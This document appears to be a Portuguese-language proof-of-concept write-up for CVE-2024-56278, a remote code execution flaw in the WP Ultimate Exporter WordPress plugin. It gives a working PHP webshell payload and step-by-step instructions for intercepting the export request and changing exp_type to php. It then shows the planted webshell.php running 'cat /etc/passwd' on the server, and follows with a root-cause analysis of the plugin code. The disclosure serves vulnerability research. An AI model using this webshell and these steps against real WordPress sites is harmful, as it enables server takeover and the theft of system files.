
Prova de conceito de exploit para CVE-2024-56278, uma vulnerabilidade de execução remota de código no plugin WP Ultimate Exporter para WordPress, demonstrando upload de arquivo para webshell em PHP.
Plugin WordPress
Nome do componente WP Ultimate Exporter
Versão vulnerável <= 2.9.1
Slug do componente wp-ultimate-exporter
Link do componente https://wordpress.org/plugins/wp-ultimate-exporter/
Classe de vulnerabilidade A4: Design Inseguro
Tipo de vulnerabilidade Execução Remota de Código (RCE)
Administrador
O plugin WP Ultimate Exporter é um complemento para o plugin WP Ultimate CSV Importer. Este plugin permite exportar todos os posts, produtos, pedidos, reembolsos e dados de usuários nos formatos CSV, XLS, XML e JSON. Ao exportar, os arquivos são criados no caminho de upload, e o plugin apenas entrega o conteúdo desses arquivos aos usuários.
No plugin WP Ultimate Exporter, versões 2.9.1 e anteriores, ao solicitar a exportação de dados, se a extensão do arquivo nos dados da solicitação for definida como PHP, um arquivo PHP é criado no caminho de upload. Portanto, se o conteúdo do arquivo criado contiver sintaxe PHP, ocorre uma vulnerabilidade de Execução Remota de Código (RCE), pois a sintaxe PHP é executada ao acessar esse arquivo.
⚠️ Como o plugin 'WP Ultimate Exporter' é um complemento para o plugin 'WP Ultimate CSV Importer', ambos os plugins precisam estar instalados.
Crie um novo post usando o editor de código (atalho: ⇧ ⌥ ⌘ M) com o seguinte conteúdo:
<pre>
<?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?>
</pre>
Navegue até a aba 'Export' do plugin WP Ultimate Exporter. Isso pode ser acessado clicando na aba 'Export' no painel do plugin WP Ultimate CSV Importer (/wp-admin/admin.php?page=com.smackcoders.csvimporternew.menu).
Inicie uma ferramenta de proxy (ex.: BurpSuite) para interceptar pacotes de solicitação e prossiga com as etapas a seguir com a Interceptação ativada.
Em seguida, selecione 'Posts' em 'Select the module to Export Data' e prossiga para a próxima etapa.

Export File Name Insira 'webshell'Advanced Settings Selecione 'CSV'
/wp-admin/admin-ajax.php para exportar os dados. Altere o valor de exp_type nos dados da solicitação de csv para php e clique em Forward.
/wp-content/uploads/smack_uci_uploads/exports/webshell.php?cmd=cat /etc/passwd na barra de endereços do navegador para exibir o conteúdo do arquivo /etc/passwd no servidor onde o WordPress está instalado. Isso demonstra a vulnerabilidade de RCE.
Ao exportar dados no plugin WP Ultimate Exporter, a função parseData no arquivo /wp-content/plugins/wp-ultimate-exporter/exportExtensions/ExportExtension.php é chamada.
Neste ponto, nenhuma filtragem é realizada nos dados da solicitação exp_type que determinam o formato dos dados de exportação, e o valor é inserido diretamente na variável membro $this->exportType.

Posteriormente, a função proceedExport é chamada para salvar os dados em um arquivo. Neste ponto, ao inicializar a variável $file que especifica o caminho de armazenamento do arquivo, a variável membro $this->exportType também é usada sem qualquer filtragem.

Posteriormente, o caminho do arquivo armazenado na variável $file é passado como argumento para a função file_put_contents, e neste ponto, o arquivo é salvo com a extensão especificada nos dados da solicitação exp_type sendo aplicada diretamente.

Portanto, quando dados de post contendo código de Web Shell são salvos como um arquivo PHP e esse arquivo é acessado, ocorre uma vulnerabilidade de Execução Remota de Código (RCE), pois o código PHP é executado.


Em seguida, insira o seguinte comando para executar o código PoC.
Módulo necessáriorequests
python poc.py
